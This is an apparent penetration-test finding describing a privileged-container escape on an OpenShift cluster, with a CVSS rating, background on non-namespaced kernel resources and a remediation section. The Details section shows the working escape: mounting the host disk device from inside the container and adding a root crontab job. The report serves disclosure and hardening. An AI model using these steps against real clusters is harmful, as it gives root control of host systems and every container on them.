19-483-P-PPAC-03: Privileged Container Escape

CoRIA-Nr.: 01-36-00

Containers running in privileged mode can be used by attackers to gain access to the OpenShift infrastructure Host systems.

Risk Rating: CVSS 3.0 – Base Information			
Attack vector	**Local**	**Scope**	**Unchanged**
Attack complexity	**Low**	**Confidentiality**	**High**
Privileges req.	**High**	**Integrity**	**High**
User interaction	**None**	**Availability**	**High**

MEDIUM

CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (6,7)

Reputation Damage | Non-Compliance | Financial Damage | Privacy Violation

Vulnerability Description

Containers running in a privileged mode gives the container all kernel capabilities. Not only that, it also lifts all the limitations enforced by the device cgroup controller. As a result the container can do everything the host can do, be it bastion, master or node.

Redhat issue a security warning in their documentation regarding their own use of privileged containers, stating:

“As such, you should be aware of the inherent security risks associated with performing docker run operations on arbitrary images as they effectively have root access’. Similarly, they state in their own security guide that ’unless your container needs access to the host’s hardware, you should not use `--privileged`.”

A container is basically a sandboxed application process running on a shared Linux OS kernel. Security Context Constraints can be created to control the actions that pods/containers can perform and what it has the ability to access. The main problem with privileged containers is that not all resources are namespaced. Each docker process tree can have a totally isolated set of processes. This ensures that processes belonging to one process tree cannot interfere with processes in other sibling or parent process trees. Regarding Docker, the namespaced resources are process, network, mount, hostname and shared memory. Kernel subsystems which are not namespaced are Cgroups, SELinux, file systems under `/sys`, `/proc/sys`, `/proc/sysrq-trigger`, `/proc/irq` and `/proc/bus`. There are also Linux devices which are not namespaced, namely `/dev/mem/`, `/dev/sd` file system devices and kernel modules. If the attacker has access to one of the aforementioned, the underlying Linux host operating system can be compromised.

Details

Establish an interactive shell on the privileged container:

```
[root@ocp15m02 ~]# docker exec -it 170c07dc92c2 /bin/bash
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.2#
```

In this particular case the Linux LVM logical “devices” were chosen. `Dm-0` is part of the device mapper in the kernel, used by LVM. The attacker simply mounts the device;

```
sudo mount /dev/dm-0 /mnt
```

The attacker has root access to, in this case, the `ocp15m02`. To illustrate this point the analysts wrote to the crontab file which created a file in `/tmp` on the aforementioned OpenShift master. This is depicted below:

```
[root@ocp15m02 tmp]# ls -al hello_from_container_krb5
-rw-r--r--. 1 root root 0  1. Feb 16:07 hello_from_container_krb5
[root@ocp15m02 tmp]#
File  Edit  View  Search  Terminal  Help
dr-xr-xr-x. 22 root root 4096 Sep 12 14:37 ..
bash-4.2# cat /mnt/etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
  *  *  *  *  * root  touch /tmp/hello_from_the_container
bash-4.2#
```

Vulnerability Impact

Running containers in privileged mode effectively assigns root rights to the underlying OpenShift host, which means the attacker has full control not only of the OpenShift service but to all containers running within it.

Remediation

Running containers in a privileged mode should not be permissible. Only the necessary fine-grained permissions should be granted via an OpenShift Security Context Constraint.

External References

- Redhat Running Super-privileged Containers
- Redhat Container Security Practices